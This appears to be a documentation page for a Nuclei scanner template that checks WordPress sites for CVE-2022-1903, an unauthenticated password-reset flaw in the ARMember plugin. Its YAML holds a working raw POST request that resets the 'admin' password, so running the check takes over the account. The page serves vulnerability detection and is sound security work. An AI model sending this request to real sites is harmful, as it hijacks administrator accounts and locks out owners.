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ARMember < 3.4.8 - Unauthenticated Admin Account Takeover

ID: CVE-2022-1903

Severity: high

Author: theamanrawat

Tags: cve,cve2022,account-takeover,wpscan,wordpress,wp-plugin,wp,armember-membership,unauthenticated,armemberplugin

Description

Section titled “Description”

The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.

YAML Source

Section titled “YAML Source”
id: CVE-2022-1903


info:
  name: ARMember < 3.4.8 - Unauthenticated Admin Account Takeover
  author: theamanrawat
  severity: high
  description: |
    The ARMember WordPress plugin before 3.4.8 is vulnerable to account takeover (even the administrator) due to missing nonce and authorization checks in an AJAX action available to unauthenticated users, allowing them to change the password of arbitrary users by knowing their username.
  impact: |
    An attacker can gain unauthorized access to the admin account, potentially leading to further compromise of the system.
  remediation: Fixed in version 3.4.8
  reference:
    - https://wpscan.com/vulnerability/28d26aa6-a8db-4c20-9ec7-39821c606a08
    - https://wordpress.org/plugins/armember-membership/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1903
    - https://github.com/SYRTI/POC_to_review
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2022-1903
    cwe-id: CWE-862
    epss-score: 0.70044
    epss-percentile: 0.98014
    cpe: cpe:2.3:a:armemberplugin:armember:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: armemberplugin
    product: armember
    framework: wordpress
  tags: cve,cve2022,account-takeover,wpscan,wordpress,wp-plugin,wp,armember-membership,unauthenticated,armemberplugin


http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=arm_shortcode_form_ajax_action&user_pass={{randstr}}&repeat_pass={{randstr}}&arm_action=change-password&key2=x&action2=rp&login2=admin


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Your Password has been reset"
          - "arm_success_msg"
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1903.yaml"

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